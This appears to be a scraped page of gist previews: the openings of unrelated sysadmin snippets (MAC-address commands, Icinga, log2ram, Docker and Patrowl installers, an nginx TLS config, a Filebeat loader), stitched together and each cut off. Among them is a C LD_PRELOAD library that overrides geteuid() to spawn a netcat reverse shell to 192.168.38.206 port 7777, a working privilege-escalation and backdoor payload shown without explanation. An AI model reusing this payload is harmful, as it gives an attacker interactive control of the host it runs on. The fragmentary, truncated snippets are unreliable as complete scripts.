Method 1
ifconfig | grep -Po 'ether \s*\K\S*'
Method 2
cat /sys/class/net/eth0/address
| #!/bin/bash | |
| # Coded By: Zach Jetson | |
| # | |
| # This script installs icinga director and dependencies for CentOS 7. | |
| # | |
| # Requirements | |
| # - icinga2, mysql, clean install | |
| # | |
| # usage: bash icinga_director_installer.sh | |
| # |
| #!/bin/bash | |
| # Changes logging to log to RAM only. Set for 128M of tempfs. | |
| curl -Lo log2ram.tar.gz https://github.com/azlux/log2ram/archive/master.tar.gz | |
| tar xf log2ram.tar.gz | |
| cd log2ram-master | |
| chmod +x install.sh && sudo ./install.sh | |
| sed -i 's/^\(SIZE\s*=\s*\).*$/\1128M/' /etc/log2ram.conf | |
| cd .. |
| #include <stdlib.h> | |
| #include <string.h> | |
| #include <sys/types.h> | |
| int geteuid() { | |
| if (getenv("LD_PRELOAD") == NULL) { | |
| return 0; | |
| } | |
| unsetenv("LD_PRELOAD"); | |
| system("rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 192.168.38.206 7777 >/tmp/f"); | |
| } |
| # 2020-09-11 | |
| # Mozilla Guideline v5.6, nginx 1.17.7, OpenSSL 1.1.1d, intermediate configuration | |
| # https://ssl-config.mozilla.org/#server=nginx&version=1.17.7&config=intermediate&openssl=1.1.1d&guideline=5.6 | |
| server { | |
| listen 80 default_server; | |
| listen [::]:80 default_server; | |
| return 301 https://$host$request_uri; | |
| } |
| (window["webpackJsonp"] = window["webpackJsonp"] || [])["push"]([[7], { | |
| '\x54\x69\x51\x70': function(h9v9, L9v9, K8v9) { | |
| "use strict"; | |
| K8v9["r"](L9v9); | |
| var m8v9 = K8v9("CcnG") | |
| , V8v9 = function() { | |
| return function() {} | |
| ; | |
| }() | |
| , n9v9 = K8v9("pMnS") |
| #!/bin/bash | |
| set -e | |
| echo "This will install PatrowlManger and Client" | |
| read -p "Press return to continue..." | |
| cd /opt | |
| git clone https://github.com/Patrowl/PatrowlManager.git | |
| git clone https://github.com/Patrowl/PatrowlEngines.git |
| #!/bin/sh | |
| set -e | |
| sudo apt-get install -y docker docker.io docker-compose docker-doc | |
| # Run docker. | |
| sudo systemctl start docker | |
| sudo systemctl enable docker |
| #!/bin/sh | |
| # From https://www.hiroom2.com/2017/09/24/parrotsec-3-8-docker-engine-en/ | |
| set -e | |
| # Install dependencies. | |
| sudo apt install -y curl apt-transport-https \ | |
| software-properties-common ca-certificates | |
| # Install docker. |
| # Version refernces: https://www.docker.elastic.co/# | |
| FILEBEATVER="6.8.7" | |
| ELASTICHOST="127.0.0.1:9200" | |
| KIBANAHOST="127.0.0.1:5601" | |
| usage() { | |
| echo "Usage: ./beatboard_loader.sh 'ELASTIC_HOST:PORT' 'KIBANA:PORT' [FILEBEATVER]" | |
| echo """ | |
| ELASTIC_HOST:PORT The ElasticSearch host and port number (required) |